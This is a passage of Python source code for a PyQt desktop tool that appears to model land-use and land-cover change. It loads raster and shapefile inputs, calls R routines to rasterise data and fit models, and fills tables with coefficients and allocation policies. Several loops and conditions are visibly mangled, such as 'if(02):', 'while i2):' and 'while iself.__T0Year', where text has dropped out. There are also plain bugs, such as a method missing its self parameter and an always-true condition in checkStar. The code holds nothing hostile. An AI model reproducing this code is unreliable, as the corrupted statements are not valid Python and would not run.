setBaseUrl(self, url):\n self.baseUrl = url\n\n def setNA(self):\n navalue=self.ui.leNAValue_DataPreparationInputSectionProjectSection.text()\n if(navalue=='NA' or len(navalue)==0):\n self.__modelNAValue=R.NA_Logical\n else:\n self.__modelNAValue=int(self.ui.leNAValue_DataPreparationInputSectionProjectSection.text())\n\n\n def getRasterLayer(self,fileName):\n fileInfo = QFileInfo(fileName)\n baseName = fileInfo.baseName()\n rlayer = QgsRasterLayer(fileName, baseName)\n #if not rlayer.isValid():\n #print \"Layer failed to load!\"\n return rlayer\n\n # def setRasterAsPsuedoColor(self,rlayer):\n # print rlayer.width(), rlayer.height(),rlayer.rasterType()\n # rlayer.setDrawingStyle(QgsRasterLayer.SingleBandPseudoColor)\n # print rlayer.drawingStyle()\n # rlayer.setColorShadingAlgorithm(QgsRasterLayer.ColorRampShader)\n # lst = [ QgsColorRampShader.ColorRampItem(0, QColor(0,255,0)), QgsColorRampShader.ColorRampItem(255, QColor(255,255,0)) ]\n # fcn = rlayer.rasterShader().rasterShaderFunction()\n # fcn.setColorRampType(QgsColorRampShader.INTERPOLATED)\n # fcn.setColorRampItemList(lst)\n # if hasattr(rlayer, \"setCacheImage\"): rlayer.setCacheImage(None)\n # rlayer.triggerRepaint()\n\n def update_text(self, thread_no):\n QtGui.QApplication.processEvents()\n time.sleep(random.uniform(0,0.7))\n self.ui.tbLog.setText(str(self.__check)+\"% Completed\")\n self.__check = self.__check + 1\n if(self.__check == 100):\n self.ui.leOutputFile.setText(str(self.__currentDirectory)+\"/\"+self.__T0File+\".tif\")\n QtGui.QApplication.processEvents()\n\n #Add all the requuired signles Here\n @pyqtSlot()\n def on_pbSelectDirectory_DataPreparationInputSectionProjectSection_clicked(self):\n self.__projectDirectory = QFileDialog.getExistingDirectory(self, \"Open Project Directory\",\".\", QFileDialog.ShowDirsOnly);\n self.ui.leProjectDirectory_DataPreparationInputSectionProjectSection.setText(str(self.__projectDirectory))\n #QtCore.QObject.connect(self.ui.pbSelectDirectory_DataPreparationInputSectionProjectSection, QtCore.SIGNAL(\"clicked()\"), self.ui.leProjectDirectory_DataPreparationInputSectionProjectSection_DataPreparationInputSectionProjectSection.clear )\n #QtCore.QObject.connect(self.ui.lineEdit, QtCore.SIGNAL(\"returnPressed()\"), self.add_entry)\n\n @pyqtSlot()\n def on_pbSelectFileT0File_DataPreparationInputSelectionDataInput_clicked(self):\n file,_ = QFileDialog.getOpenFileName(self, \"Open File\",\n self.__projectDirectory,\"Raster (*.img *.tif );;Esri Shape (*.shp)\");\n (dirName, fileName) = os.path.split(str(file))\n self.__currentDirectory=dirName\n self.__T0File=splitext(fileName)[0]\n fileType = splitext(fileName)[1]\n if(fileType == \".tif\" or fileType == \".img\"):\n self.__T0File=str(file)\n #self.ui.leT0File_DataPreparationInputSectionDataInput.setEnabled(False)\n #self.ui.leT0File_DataPreparationInputSectionDataInput.setText(str(self.__T0File))\n self.enable_NextDataPreaparation()\n elif(fileType == \".shp\" ):\n self.__shpfileT0 = str(file)\n self.__T0File=self.__T0File+\".tif\"\n self.ui.leT0File_DataPreparationInputSectionDataInput.setText(str(self.__T0File))\n\n\n @pyqtSlot()\n def on_pbSelectFileT1File_DataPreparationInputSelectionDataInput_clicked(self):\n file,_ = QtWidgets.QFileDialog.getOpenFileName(self, \"Open File\",\n self.__currentDirectory,\"Raster (*.img *.tif );;Esri Shape (*.shp)\");\n #filename,_=file.filename()\n print(file)\n\n (dirName, fileName) = os.path.split(str(file))\n #self.__currentDirectory=dirName\n self.__T1File=splitext(fileName)[0]\n fileType = splitext(fileName)[1]\n if(fileType == \".tif\" or fileType == \".img\"):\n self.__T1File=str(file)\n #self.ui.leT1File_DataPreparationInputSectionDataInput.setEnabled(False)\n self.ui.leT1File_DataPreparationInputSectionDataInput.setText(str(self.__T1File))\n self.enable_NextDataPreaparation()\n else:\n self.__shpfileT1 = str(file)\n self.__T1File=self.__T1File+\".tif\"\n self.ui.leT1File_DataPreparationInputSectionDataInput.setText(str(self.__T1File))\n\n\n @pyqtSlot()\n def on_pbSelectFileOutputFile_DataPreparationOutputSection_clicked(self):\n fileLocation = QFileDialog.getSaveFileName(self, \"Output File\",\n self.__currentDirectory,\"Raster (*.tif )\")[0];\n (dirName, fileName) = os.path.split(str(fileLocation))\n print(dirName, fileName)\n #self.__currentDirectory=dirName\n fileType = splitext(fileName)[1]\n if(fileType == \".tif\"):# or fileType == \".img\"):\n self.__OutputFile=str(fileLocation)\n else:\n self.__OutputFile = str(fileLocation)+\".tif\"\n #self.ui.leOutputFile_DataPreparationOutputSection.setEnabled(False)\n self.ui.leOutputFile_DataPreparationOutputSection.setText(self.__OutputFile)\n self.ui.lePredictedFile_AccuracyAssesment.setText(self.__OutputFile)\n self.enable_NextDataPreaparation()\n\n\n\n @pyqtSlot()\n def on_pbConvert_T0_clicked(self):\n print('TODO')\n\n def raster(self, tlhread1_no):\n r_rasterize = R.globalenv['rasterise']\n if(self.ui.leYear_TO.text()!=\"\"):\n self.__T0File=str(self.ui.leYear_TO.text())\n r_rasterize(self.__shpfileT0,self.__T0File,self.ui.sbGridsize_DataPreparationInputSectionProjectSection.value())\n self.__T0File = str(self.__currentDirectory)+\"/\"+self.__T0File+\".tif\"\n self.ui.leT0File_DataPreparationInputSectionDataInput.setText(self.__T0File)\n\n @pyqtSlot()\n def on_pbConvert_T1_clicked(self):\n r_rasterize = R.globalenv['rasterise']\n if(self.ui.leYear_T1.text()!=\"\"):\n self.__T1File=str(self.ui.leYear_T1.text())\n r_rasterize(self.__shpfileT1,self.__T1File,self.ui.sbGridsize_DataPreparationInputSectionProjectSection.value())\n self.__T1File = str(self.__currentDirectory)+\"/\"+self.__T1File+\".tif\"\n self.ui.leT1File_DataPreparationInputSectionDataInput.setText(self.__T1File)\n\n @pyqtSlot()\n def on_pbSelectFileAreaOfInterest_DataPreparationInputSectionDataInput_clicked(self):\n file,_ = QFileDialog.getOpenFileName(self, \"Open File\",\n self.__currentDirectory,\"ESRI (*.shp )\");\n (dirName, fileName) = os.path.split(str(file))\n self.__currentDirectory=dirName\n self.ui.leAreaOfInterest_DataPreparationInputSectionDataInput.setText(str(file))\n\n @pyqtSlot()\n def on_pbSelectFileMask_DataPreparationInputSectionDataInput_clicked(self):\n file,_ = QFileDialog.getOpenFileName(self, \"Open File\",\n self.__currentDirectory,\"ESRI (*.shp )\");\n (dirName, fileName) = os.path.split(str(file))\n self.__currentDirectory=dirName\n self.ui.leMask_DataPreparationInputSectionDataInput.setText(str(file))\n\n def getCurrentDirectory():\n return(self.__currentDirectory)\n\n\n @pyqtSlot()\n def on_pbConvertToRaster_T0_clicked(self):\n if (self.__raster==False):\n self.r_convertToRaster();\n\n @pyqtSlot()\n def on_pbNextDataPreparation_clicked(self):\n self.setNA()\n self.ui.tabWidget.setCurrentIndex(1)\n self.ui.progressBar.setProperty(\"value\",10)\n self.preparecbInSteps_DemandAllocationSpatialContext()\n self.ui.gbSelectDrivers_DriverSelectionT0.setEnabled(True)\n self.ui.pbAddDriver_DriverSelectionT0SelectDrivers.setEnabled(True)\n self.ui.twSelectDrivers_DriverSelectionT0.setEnabled(True)\n\n\n #################Module:2####################\n\n\n\n @pyqtSlot() # prevents executing following function twice\n def SelectDriver_pushed(self):\n sending_button = str(self.sender().objectName())\n rowstr = sending_button[sending_button.index('SelectDriver')+12:]\n#Object name is suffiexed by the driver number and row no is less than one of that\n row = int(rowstr)-1\n filename,_ = QFileDialog.getOpenFileName(self, \"Open File\",self.__currentDirectory,\"Raster (*.tif *.img)\");\n (dirName, OnlyFilename) = os.path.split(filename.strip())\n self.__currentDirectory=dirName\n #self.__driversT1.append(str(file))\n disp=self.ui.twSelectDrivers_DriverSelectionT0.cellWidget(row, 1)\n disp.setText(filename)\n disp=self.ui.twSelectDrivers_DriverSelectionT0.cellWidget(row, 0)\n disp.setText(OnlyFilename.replace(\".\",\"_\"))\n #print(disp.text())\n self.ui.twSelectDrivers_DriverSelectionT0.resizeColumnsToContents()\n\n\n @QtCore.pyqtSlot() # prevents executing following function twice\n def DeleteDriver_pushed(self):\n sending_button = str(self.sender().objectName())\n rowstr = sending_button[sending_button.index('DeleteDriver')+12:] #Object name is suffiexed by the driver number and row no is less than one of that\n row = int(rowstr)\n lastRow=self.ui.twSelectDrivers_DriverSelectionT0.rowCount();\n if(row==lastRow):\n reply= QtWidgets.QMessageBox.question(self, \"Delete Row\",\"Are You Sure?\",QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No);\n if(reply==QtWidgets.QMessageBox.Yes ):\n self.ui.twSelectDrivers_DriverSelectionT0.resizeColumnsToContents()\n disp=self.ui.twSelectDrivers_DriverSelectionT0.cellWidget(row, 1)\n self.ui.twSelectDrivers_DriverSelectionT0.removeRow(row-1)\n #print(sending_button,\" is Deleted from RowIndex.\")\n else:\n QtWidgets.QMessageBox.about(self, \"Delete Last Row\",\"Only Last Row can be deleted\");\n self.ui.twSelectDrivers_DriverSelectionT0.resizeColumnsToContents()\n if (lastRow<4):\n self.ui.gbDoModelFitting_DriverSelectionT0.setEnabled(False)\n else:\n self.ui.gbDoModelFitting_DriverSelectionT0.setEnabled(True)\n\n @pyqtSlot()\n def on_pbAddDriver_DriverSelectionT0SelectDrivers_clicked(self):\n #Append New Row\n workingRow=self.ui.twSelectDrivers_DriverSelectionT0.rowCount()+1\n workingRowIdx=workingRow-1\n self.ui.twSelectDrivers_DriverSelectionT0.setRowCount(workingRow)\n\n #Put label for driver name\n nameLabel = QtWidgets.QLineEdit(\"Driver\"+str(workingRow))\n self.ui.twSelectDrivers_DriverSelectionT0.setCellWidget(workingRowIdx, 0, nameLabel)\n\n #put Place for file name\n disp = QLabel(\"\")\n self.ui.twSelectDrivers_DriverSelectionT0.setCellWidget(workingRowIdx, 1,disp)\n\n #Put Select Driver Button\n pbSelectDriver = QtWidgets.QPushButton()\n pbSelectDriver.setText(\"Select Driver\")\n pbSelectDriver.setObjectName(\"SelectDriver\"+str(workingRow))\n pbSelectDriver.clicked.connect(self.SelectDriver_pushed)\n self.ui.twSelectDrivers_DriverSelectionT0.setCellWidget(workingRowIdx, 2, pbSelectDriver)\n\n #Put Delete Driver Button\n pbDeleteDriver = QtWidgets.QPushButton()\n pbDeleteDriver.setText(\"Delete Driver\")\n pbDeleteDriver.setObjectName(\"DeleteDriver\"+str(workingRow))\n pbDeleteDriver.clicked.connect(self.DeleteDriver_pushed)\n self.ui.twSelectDrivers_DriverSelectionT0.setCellWidget(workingRowIdx, 3, pbDeleteDriver)\n\n if(self.ui.twSelectDrivers_DriverSelectionT0.rowCount()>2):\n self.ui.gbDoModelFitting_DriverSelectionT0.setEnabled(True)\n\n self.ui.twSelectDrivers_DriverSelectionT0.resizeColumnsToContents()\n\n def createModelStatisticDetails(self):\n filename=self.ui.leT0File_DataPreparationInputSectionDataInput.text();\n if (filename != self.__T0File):\n self.__T0File=filename\n filename=self.ui.leT1File_DataPreparationInputSectionDataInput.text();\n if (filename != self.__T1File):\n self.__T1File=filename\n self.__Drivername=[]\n self.__driversT1=[]\n self.__DriverDictionaryT1= OrderedDict()#{};\n for i in list(range(0,self.ui.twSelectDrivers_DriverSelectionT0.rowCount())):\n self.__Drivername.append(str(self.ui.twSelectDrivers_DriverSelectionT0.cellWidget(i,0).text()))\n self.__driversT1.append(str(self.ui.twSelectDrivers_DriverSelectionT0.cellWidget(i,1).text()))\n self.__DriverDictionaryT1[str(self.__Drivername[i])] = self.__driversT1[i]\n self.noOfDrivers = len(self.__DriverDictionaryT1)\n if(self.__debug==1):\n print(self.__Drivername)\n print(self.__driversT1)\n \n projectNA=self.ui.leNAValue_DataPreparationInputSectionProjectSection.text()\n if (projectNA=='NA'):\n self.__modelNAValue=R.NA_Logical\n else:\n self.__modelNAValue=int(projectNA)\n filename=self.ui.leAreaOfInterest_DataPreparationInputSectionDataInput.text();\n if(len(filename)!=0):\n if (filename != self.__AOIFile):\n self.__AOIFile=str(filename)\n else:\n self.__AOIFile=R.NA_Logical\n filename=self.ui.leMask_DataPreparationInputSectionDataInput.text();\n if(len(filename)!=0):\n if (filename != self.__MASKFile):\n self.__MASKFile=str(filename)\n else:\n self.__MASKFile=R.NA_Logical\n @pyqtSlot()\n def on_pbViewModelStatistics_DriverSelectionT0DoModelFitting_clicked(self):\n if(self.__debug==1):\n print (\"on_pbViewModelStatistics_DriverSelectionT0DoModelFitting_clicked\")\n self.createModelStatisticDetails();\n self.processingstep=\"Doing Model Summary\";\n self.printParameter()\n drvs = R.ListVector(self.__DriverDictionaryT1)\n genSummary = R.r['getModelFitSummary']\n modelSummary = genSummary(T1File=self.__T0File,T2File=self.__T1File,T1drivers=drvs,modelType=str(self.__modeltype),withNAvalue=self.__modelNAValue,method=\"NotIncludeCurrentClass\",maskFile=self.__MASKFile,aoiFile=self.__AOIFile)\n path=os.path.join(str(self.__projectDirectory),self.currentLogTime+'-summary.log')\n sink=R.r['sink']\n sink(path) \n R.r['print'](modelSummary)\n sink=R.r['sink']\n sink()\n self.modelSummary= os.linesep.join([s for s in str(modelSummary).splitlines() if s.strip()]).replace(\"\\\\t\",'\\t').replace(\"\\\\n\",'\\n')\n self.ui.teModelparameterOutput_DriverSelectionT0DoModelFitting.setPlainText(str(self.modelSummary))\n self.ui.pbNext_DriverSelectionT0.setEnabled(True)\n self.ui.teModelparameterOutput_DriverSelectionT0DoModelFitting.setEnabled(True)\n #self.releaseR()\n\n def buildtwSelectModelTypeAndDrivers_DriverSelectionT1(self,twSelectModelTypeAndDrivers):\n twSelectModelTypeAndDrivers.setColumnCount(self.noOfDrivers+3)\n twSelectModelTypeAndDrivers.setRowCount(self.__noOfClasses)\n row=twSelectModelTypeAndDrivers.rowCount()\n col=twSelectModelTypeAndDrivers.columnCount()\n for i in list(range(0, row, 1)):\n for j in list(range(0, col, 1)):\n item = QTableWidgetItem()\n if(j!=0):\n item.setFlags(item.flags()^QtCore.Qt.ItemIsEditable)\n else:\n item.setText('Class'+str(i+1))\n label=QLabel(self.getSelectedModel())\n self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.setCellWidget(i, 2,label) \n twSelectModelTypeAndDrivers.setItem(i, j, item)\n\n for i in list(range(0, row, 1)):\n for j in list(range(3, col, 1)):\n item = twSelectModelTypeAndDrivers.item(i,j)\n item.setFlags(QtCore.Qt.ItemIsDragEnabled|QtCore.Qt.ItemIsEnabled)\n item.setCheckState(QtCore.Qt.Checked)\n\n stringlist1 = list()#QtCore.QStringList()\n stringlist1.append('Class')\n stringlist1.append('DN Value')\n stringlist1.append('Model Type')\n for i in list(range(0,self.noOfDrivers,1)):\n stringlist1.append(list(self.__DriverDictionaryT1.keys())[i])\n\n twSelectModelTypeAndDrivers.setHorizontalHeaderLabels(stringlist1)\n twSelectModelTypeAndDrivers.resizeColumnsToContents()\n\n def getSelectedModel(self):\n if(self.ui.rbLogisiticRegression_ModelAnalysisViewModelCoeeffcient.isChecked()):\n modelname=\"Logistic Regression\"\n elif(self.ui.rbLinearRegression_ModelAnalysisViewModelCoeeffcient.isChecked() ):\n modelname=\"Linear Regression\"\n elif(self.ui.rbNeuralRegression_ModelAnalysisViewModelCoeeffcient.isChecked()):\n modelname=\"Neural Regression\"\n elif(self.ui.rbRandomForest_ModelAnalysisViewModelCoeeffcient.isChecked()):\n modelname=\"Random Forest\" \n \n #if(currentIndexItem == ):\n return(modelname)\n\n\n def buildtwViewModelCoefficint_ModelAnalysis(self,twViewModelCoefficint):\n twViewModelCoefficint.setRowCount(self.__noOfClasses)\n twViewModelCoefficint.setColumnCount(self.noOfDrivers+3)\n #Setting Individual tabelitems\n row=twViewModelCoefficint.rowCount()\n col=twViewModelCoefficint.columnCount()\n for i in list(range(0, row, 1)):\n for j in list(range(0, col, 1)):\n item = QTableWidgetItem()\n if(j!=0):\n item.setFlags(item.flags()^QtCore.Qt.ItemIsEditable)\n else:\n item.setText('Class'+str(i+1))\n twViewModelCoefficint.setItem(i, j, item)\n #Setting Table Header\n stringlist2 = list()#QtCore.QStringList()\n stringlist2.append('Class')\n stringlist2.append('DN Value')\n stringlist2.append('Intercept')\n for i in list(range(0,len(self.__DriverDictionaryT1),1)):\n stringlist2.append(list(self.__DriverDictionaryT1.keys())[i])\n\n twViewModelCoefficint.setHorizontalHeaderLabels(stringlist2)\n twViewModelCoefficint.resizeColumnsToContents()\n\n for i in list(range(0, row, 1)):\n for j in list(range(0, col, 1)):\n item = twViewModelCoefficint.item(i,j)\n if(j>2):\n item.setFlags(QtCore.Qt.ItemIsDragEnabled|QtCore.Qt.ItemIsUserCheckable|QtCore.Qt.ItemIsEnabled)\n item.setCheckState(QtCore.Qt.Checked)\n\n def populateDataIntoTableViewModelCoefficint_ModelAnalysis(self):\n #Populate the DriversFile in ModelAnalysis tab\n for j in list(range(0,self.ui.twViewModelCoefficint_ModelAnalysis.rowCount(),1)):\n item1 = self.ui.twViewModelCoefficint_ModelAnalysis.item(j,1)\n item1.setText(self.__className[j])\n item1.setFlags(QtCore.Qt.ItemIsDragEnabled|QtCore.Qt.ItemIsEnabled)\n \n for j in list(range(0,self.ui.twViewModelCoefficint_ModelAnalysis.rowCount(),1)):\n for k in list(range(2,self.ui.twViewModelCoefficint_ModelAnalysis.columnCount(),1)): #First three colums are reserved for classname,number and modetype\n #print(str(len(self.__confidenceinterval[j]))+\"---539\")\n item1 = self.ui.twViewModelCoefficint_ModelAnalysis.item(j,k)\n item1.setText(str(self.__confidenceinterval[j][k-2][1])) #\n toolstr = str(self.__confidenceinterval[j][k-2][2]) #k-3+1 since Intercept is at k-3\n item1.setToolTip(toolstr)\n\n @QtCore.pyqtSlot()\n def on_pbNext_DriverSelectionT0_clicked(self):\n getClassNum = R.r['getClassNumber']\n self.__className = getClassNum(self.__T0File)\n self.__noOfClasses=len(self.__className)\n self.noOfDrivers=len(self.__Drivername)\n #self.buildtwViewModelCoefficint(self.ui.twViewModelCoefficint_ModelAnalysis)\n self.createLULCVsDriverCoefficientMatrix();\n #print(self.createLULCVsDriverCoefficientMatrix())\n self.buildtwMigrationOrder_ModelAnalysis(self.ui.twMigrationOrder_ModelAnalysis)\n self.buildtwSelectModelTypeAndDrivers_DriverSelectionT1(self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1)\n self.buildtwPolicies_DemandAllocation(self.ui.twPolicies_DemandAllocation);\n self.buildtwColorTable_ViewMaps(self.ui.twColorTable_ViewMaps)\n self.buildtwViewModelCoefficint_ModelAnalysis(self.ui.twViewModelCoefficint_ModelAnalysis);\n self.populateDataIntoTableViewModelCoefficint_ModelAnalysis()\n self.populateDataIntoTableModelTypeAndDriversDriverSelectionT1()\n self.ui.tabWidget.setCurrentIndex(2)\n self.ui.progressBar.setProperty(\"value\",30)\n self.ui.gbViewModelCoefficient_ModelAnalysis.setEnabled(True)\n self.ui.gbMigrationOrder_ModelAnalysis.setEnabled(True)\n self.ui.twMigrationOrder_ModelAnalysis.setEnabled(False)\n self.setModelAnalysisModelType()\n self.ui.pbNext_ModelAnalysis.setEnabled(True)\n\n\n @pyqtSlot()\n def on_pbNext_ModelAnalysis_clicked(self):\n self.ui.gbSelectModelTypeAndDrivers_DriverSelectionT1.setEnabled(True)\n self.ui.tabWidget.setCurrentIndex(3)\n self.ui.progressBar.setProperty(\"value\",40)\n self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.setEnabled(True)\n self.ui.pbNext_DriverSelectionT1.setEnabled(True)\n self.ui.twColorTable_ViewMaps.setEnabled(True)\n \n @pyqtSlot()\n def on_pbNext_DriverSelectionT1_clicked(self):\n self.ui.tabWidget.setCurrentIndex(4)\n self.ui.progressBar.setProperty(\"value\",50)\n self.ui.gbPolicies.setEnabled(True)\n self.ui.gbSpatialContext.setEnabled(True)\n###pratu\n ##self.ui.gbSuitabilityMapGeneration.setEnabled(True)\n self.ui.leSuitablityFile_OutputGenerationSuitabilityMapGeneration.setEnabled(False)\n self.ui.pbSelectFileSuitablityFile_OutputGenerationSuitabilityMapGeneration.setEnabled(False)\n self.ui.lbSuitablityfile.setEnabled(False)\n###\n self.ui.pbExecute_DemandAllocation.setEnabled(True)\n\n @pyqtSlot(bool)\n def on_cbclassallocation_DemandAllocation_clicked(self,state):\n #print(\"on_cbclassallocation_DemandAllocation_clicked\")\n tw=self.ui.twPolicies_DemandAllocation\n if(state):\n for i in list(range(0,tw.rowCount()-1,1)):\n item=tw.item(i,1)\n label=str(i+1)\n self.ui.twPolicies_DemandAllocation.item(i,1).setText(label)\n item.setFlags(item.flags()|QtCore.Qt.ItemIsEnabled|QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEditable)\n\n\n else:\n for i in list(range(0,tw.rowCount(),1)):\n item=tw.item(i,1)\n item.setFlags(item.flags()^QtCore.Qt.ItemIsEnabled)\n \n @pyqtSlot(bool)\n def on_cbUserDefinedClassInertia_DemandAllocation_clicked(self,state):\n tw=self.ui.twPolicies_DemandAllocation\n if(state):\n for i in list(range(0,tw.rowCount()-1,1)):\n item=tw.item(i,3)\n self.ui.twPolicies_DemandAllocation.item(i,3).setText('0')\n item.setFlags(item.flags()|QtCore.Qt.ItemIsEnabled|QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEditable)\n\n\n else:\n for i in list(range(0,tw.rowCount(),1)):\n item=tw.item(i,3)\n item.setFlags(item.flags()^QtCore.Qt.ItemIsEnabled)\n\n\n @pyqtSlot(bool)\n def on_cbUserDefinedDemand_DemandAllocation_clicked(self,state):\n #print(\"on_cbUserDefinedDemand_DemandAllocation_clicked\")\n tw=self.ui.twPolicies_DemandAllocation\n if(state):\n for i in list(range(0,tw.rowCount()-1,1)):\n item=tw.item(i,2)\n item.setFlags(item.flags()|QtCore.Qt.ItemIsEnabled|QtCore.Qt.ItemIsSelectable|QtCore.Qt.ItemIsEditable)\n else:\n for i in list(range(0,tw.rowCount(),1)):\n item=tw.item(i,2)\n item.setFlags(item.flags()^QtCore.Qt.ItemIsEnabled)\n####pratu\n\n @pyqtSlot(QTableWidgetItem)\n def on_twPolicies_DemandAllocation_itemChanged(self,item):\n #print(\"on_twPolicies_DemandAllocation_itemChanged\")\n #if(self.ui.twPolicies_DemandAllocation.isItemSelected(item)):\n if(item.isSelected()):\n col=self.ui.twPolicies_DemandAllocation.currentColumn()\n row=self.ui.twPolicies_DemandAllocation.currentRow()\n sum=0\n if(col==1):\n getvalue=str(item.text())\n if(getvalue.isdigit()):\n newvalue=int(getvalue)\n oldvalue=newvalue\n for j in list(range(0,self.__noOfClasses,1)):\n flag=1\n for k in list(range(0,self.__noOfClasses,1)):\n checkitem=int(str(self.ui.twPolicies_DemandAllocation.item(k,1).text()))\n if((j+1)==checkitem):\n flag=0\n break\n if(flag!=0):\n oldvalue=str(j+1)\n break\n if(02):\n self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.item(row,col).setCheckState(item.checkState())\n\n\n def makeCombo(self):\n cbModel = QComboBox()\n cbModel.setMaxCount(4)\n cbModel.setObjectName(\"cbModel\"+str(self.ui.twSelectDrivers_DriverSelectionT0.rowCount()-1))\n cbModel.addItem(\"iLoR\")\n cbModel.addItem(\"iLiR\")\n cbModel.addItem(\"iMLP\")\n cbModel.addItem(\"iMRF\")\n cbModel.setItemText(0, \"Logistic Regression\")\n cbModel.setItemText(1, \"Linear Regression\")\n cbModel.setItemText(2, \"Neural Regression\")\n cbModel.setItemText(3, \"Random Forest\") \n return(cbModel)\n\n def populateDataIntoTableModelTypeAndDriversDriverSelectionT1(self):\n #Populate the DriversFile in DriverS electionT1 tab\n for j in list(range(0,self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.rowCount(),1)):\n item1 = self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.item(j,1)\n item1.setText(self.__className[j])\n for j in list(range(0,self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.rowCount(),1)):\n for k in list(range(3,self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.columnCount(),1)): #First three colums are reserved for classname,number and modetype\n item1 = self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.item(j,k)\n item1.setText(self.__driversT1[k-3]) #The Location of Drives File\n toolstr = str(self.__confidenceinterval[j][k-2][1])+\" \"+str(self.__confidenceinterval[j][k-2][2]) #k-3+1 since Intercept is at k-3\n #item1.setToolTip(QtGui.QApplication.translate(\"LULCModel\", toolstr, None, QtGui.QApplication.UnicodeUTF8))\n item1.setToolTip(toolstr)\n #self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.itemDoubleClicked.connect(self.tableSelectModelTypeAndDriversItemDoubleClicked)\n\n @pyqtSlot()\n def on_Suitable_clicked(self):\n #self.boxCheck()\n self.ui.tabWidget.setCurrentIndex(3)\n self.ui.progressBar.setProperty(\"value\",40)\n\n\n def toolTip(self, final, m, n):\n self.item = self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.item(m, n)\n self.Coeffcient.append(self.__confidenceinterval[n-2][0])\n toolstr = str(self.__confidenceinterval[n-2][0])+\" \"+str(self.checkStar(self.__confidenceinterval[n-2]))\n self.item.setToolTip(QtGui.QApplication.translate(\"LULCModel\", toolstr, None, QtGui.QApplication.UnicodeUTF8))\n return\n\n @pyqtSlot()\n def on_pbNextDemandAlloc_clicked(self):\n self.ui.twDemandAlloc.setRowCount(self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.rowCount())\n self.ui.tabWidget.setCurrentIndex(4)\n self.ui.progressBar.setProperty(\"value\",50)\n\n\n def fill_table_with_label(this,thistable,labelText):\n i=0\n while i2):\n file,_ = QFileDialog.getOpenFileName(self, \"Open File\",self.__currentDirectory,\"Raster (*.tif *.img)\");\n (dirName, fileName) = os.path.split(str(file));\n self.__currentDirectory=dirName\n if((str(file))):\n i=0;\n while iself.__T0Year\n ):\n self.ui.leT1Year_DataPreparationInputSectionDataInput.setEnabled(False)\n self.ui.leT0Year_DataPreparationInputSectionDataInput.setEnabled(False)\n self.ui.leOutputFile_DataPreparationOutputSection.setEnabled(False)\n self.ui.leT0File_DataPreparationInputSectionDataInput.setEnabled(False)\n self.ui.leT1File_DataPreparationInputSectionDataInput.setEnabled(False)\n self.ui.pbNextDataPreparation.setEnabled(True)\n else:\n self.ui.pbNextDataPreparation.setEnabled(False)\n\n def preparecbInSteps_DemandAllocationSpatialContext(self):\n diffyear=self.__T1Year-self.__T0Year\n for i in list(range(1,diffyear,1)):\n self.ui.cbInSteps_DemandAllocationSpatialContext.addItem(str(i+1))\n \n def breakCoeffDetails(self, str1):\n layer = [] \n if('---' in str1 and 'Coefficients'in str1):\n coeffsubset=str1[str1.index('Coefficients'):str1.index('---')-1]\n elif('AIC:' in str1 and 'Coefficients' in str1):\n coeffsubset=str1[str1.index('Coefficients'):str1.index('AIC:')-1]\n elif('IncNodePurity' in str1 and '---' in str1):\n coeffsubset=str1[str1.index('IncNodePurity')+1:str1.index('---')-1]\n \n if('(Intercept)' in str1):\n str1=coeffsubset[coeffsubset.index('(Intercept)'):]\n else:\n str1=\"(Intercept)\\tNA\\n\"+coeffsubset\n str1=str1[:str1.index('\\n')]\n str1=str1.replace(\"< \",\"<\")\n layer.append(str1.split()) #intercepts Details are added\n dirversNameList=list(self.__DriverDictionaryT1.keys())\n for i in range(0,self.noOfDrivers,1):\n #print(self.__DriverDictionaryT1.keys()[i])\n #print(coeffsubset.index(str(self.__DriverDictionaryT1.keys()[i])))\n str1=coeffsubset[coeffsubset.index(str(dirversNameList[i])):]\n if(str1.find('\\n')>0):\n str1=str1[:str1.index('\\n')]\n #str1.strip()\n #print(str1)\n str1=str1.replace(\"< \",\"<\")\n layer.append(str1.split())\n return layer\n\n def checkStar(self, list1):\n if(list1[-1]==\"***\" or list1[-1]==\"**\" or list1[-1]==\"*\",list1[-1]==\".\"):\n _11s=list1[-1]\n else:\n _11s=\"\"\n return _11s\n\n def createLULCVsDriverCoefficientMatrix(self):\n #print(\"In:createLULCVsDriverCoefficientMatrix:Line 1318\")\n customlist = re.split('\\[\\[\\d{1,}\\]\\]',str(self.modelSummary))\n #print(len(customlist))\n self.__confidenceinterval = []\n #print(self.__noOfClasses)\n for i in list(range(1,self.__noOfClasses+1,1)):#List starts at one due to first is being blank\n details = self.breakCoeffDetails(customlist[i])\n #print(details)\n coeffAndIntervalForAllDrivers=[]\n for j in list(range(0,self.noOfDrivers+1,1)):#Including Intercepts there are one extra looping\n coeffAndInterval=[]\n detailsDriver=details[j]\n if(len(detailsDriver)):\n coeffAndInterval.append(detailsDriver[0]) #Name of Driver at index 0\n coeffAndInterval.append(detailsDriver[1]) #Coeff of Driver at index 1\n if(detailsDriver[-1]==\"***\" or detailsDriver[-1]==\"**\" or detailsDriver[-1]==\"*\" or detailsDriver[-1]==\".\"):#significant code of Driver at index -1 if present otherwise\n _11s=detailsDriver[-1]\n else:\n _11s=\" \"\n coeffAndInterval.append(_11s)\n coeffAndIntervalForAllDrivers.append(coeffAndInterval)\n #print(coeffAndInterval)\n self.__confidenceinterval.append(coeffAndIntervalForAllDrivers)\n #print(self.__confidenceinterval)\n\n @pyqtSlot(int,int)\n def on_twViewModelCoefficint_ModelAnalysis_cellChanged(self,row,col):\n if(col==0):\n item=self.ui.twViewModelCoefficint_ModelAnalysis.item(row,col)\n item1=self.ui.twMigrationOrder_ModelAnalysis.horizontalHeaderItem(row)\n item2=self.ui.twMigrationOrder_ModelAnalysis.item(row,0)\n\n if(item1):\n item1.setText(item.text())\n if(item2):\n item2.setText(item.text())\n self.ui.twSelectModelTypeAndDrivers_DriverSelectionT1.item(row,0).setText(item.text())\n self.ui.twPolicies_DemandAllocation.item(row,0).setText(item.text())\n 